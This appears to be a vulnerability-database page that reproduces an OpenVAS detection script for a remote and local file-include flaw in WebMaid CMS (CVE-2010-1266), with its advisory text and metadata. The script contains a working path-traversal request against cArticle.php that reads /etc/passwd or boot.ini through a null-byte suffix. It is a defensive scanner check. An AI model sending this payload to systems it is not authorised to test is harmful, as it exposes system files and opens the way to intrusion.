Lucene search

K
openvasThis script is Copyright (C) 2010 Greenbone Networks GmbHOPENVAS:100559
HistoryMar 29, 2010 - 12:00 a.m.

WebMaid CMS Multiple Remote and Local File Include Vulnerabilities

2010-03-2900:00:00
This script is Copyright (C) 2010 Greenbone Networks GmbH
plugins.openvas.org
8

EPSS

0.033

Percentile

91.4%

WebMaid CMS is prone to multiple remote and local file-include
vulnerabilities because it fails to sufficiently sanitize user-
supplied input.

An attacker may leverage these issues to execute arbitrary server-side
script code that resides on an affected computer or in a remote
location with the privileges of the webserver process. This may
facilitate unauthorized access.

WebMaid CMS 0.2-6 Beta is vulnerable; other versions may also
be affected.

###############################################################################
# OpenVAS Vulnerability Test
# $Id: gb_webMAID_38993.nasl 5388 2017-02-21 15:13:30Z teissa $
#
# WebMaid CMS Multiple Remote and Local File Include Vulnerabilities
#
# Authors:
# Michael Meyer
#
# Copyright:
# Copyright (c) 2010 Greenbone Networks GmbH
#
# This program is free software; you can redistribute it and/or modify
# it under the terms of the GNU General Public License version 2
# (or any later version), as published by the Free Software Foundation.
#
# This program is distributed in the hope that it will be useful,
# but WITHOUT ANY WARRANTY; without even the implied warranty of
# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE.  See the
# GNU General Public License for more details.
#
# You should have received a copy of the GNU General Public License
# along with this program; if not, write to the Free Software
# Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA.
###############################################################################

tag_summary = "WebMaid CMS is prone to multiple remote and local file-include
vulnerabilities because it fails to sufficiently sanitize user-
supplied input.

An attacker may leverage these issues to execute arbitrary server-side
script code that resides on an affected computer or in a remote
location with the privileges of the webserver process. This may
facilitate unauthorized access.

WebMaid CMS 0.2-6 Beta is vulnerable; other versions may also
be affected.";


if (description)
{
 script_id(100559);
 script_version("$Revision: 5388 $");
 script_tag(name:"last_modification", value:"$Date: 2017-02-21 16:13:30 +0100 (Tue, 21 Feb 2017) $");
 script_tag(name:"creation_date", value:"2010-03-29 12:55:36 +0200 (Mon, 29 Mar 2010)");
 script_tag(name:"cvss_base", value:"7.5");
 script_tag(name:"cvss_base_vector", value:"AV:N/AC:L/Au:N/C:P/I:P/A:P");
 script_cve_id("CVE-2010-1266");
 script_bugtraq_id(38993);

 script_name("WebMaid CMS Multiple Remote and Local File Include Vulnerabilities");

 script_xref(name : "URL" , value : "http://www.securityfocus.com/bid/38993");
 script_xref(name : "URL" , value : "http://code.google.com/p/webmaidcms/");

 script_tag(name:"qod_type", value:"remote_vul");
 script_category(ACT_ATTACK);
 script_family("Web application abuses");
 script_copyright("This script is Copyright (C) 2010 Greenbone Networks GmbH");
 script_dependencies("gb_webMAID_detect.nasl");
 script_require_ports("Services/www", 80);
 script_exclude_keys("Settings/disable_cgi_scanning");
 script_tag(name : "summary" , value : tag_summary);
 exit(0);
}

include("http_func.inc");
include("http_keepalive.inc");
include("version_func.inc");
   
port = get_http_port(default:80);

if(!get_port_state(port))exit(0);
if(!can_host_php(port:port))exit(0);

if(!dir = get_dir_from_kb(port:port, app:"webmaid"))exit(0);

files = make_array("root:.*:0:[01]:","etc/passwd","\[boot loader\]","boot.ini");

foreach file (keys(files)) {

  url = string(dir,"/cArticle.php?com=../../../../../../../../../../../../../../",files[file],"%00"); 

  if(http_vuln_check(port:port, url:url,pattern:file)) {
     
    security_message(port:port);
    exit(0);

  }
}

exit(0);

EPSS

0.033

Percentile

91.4%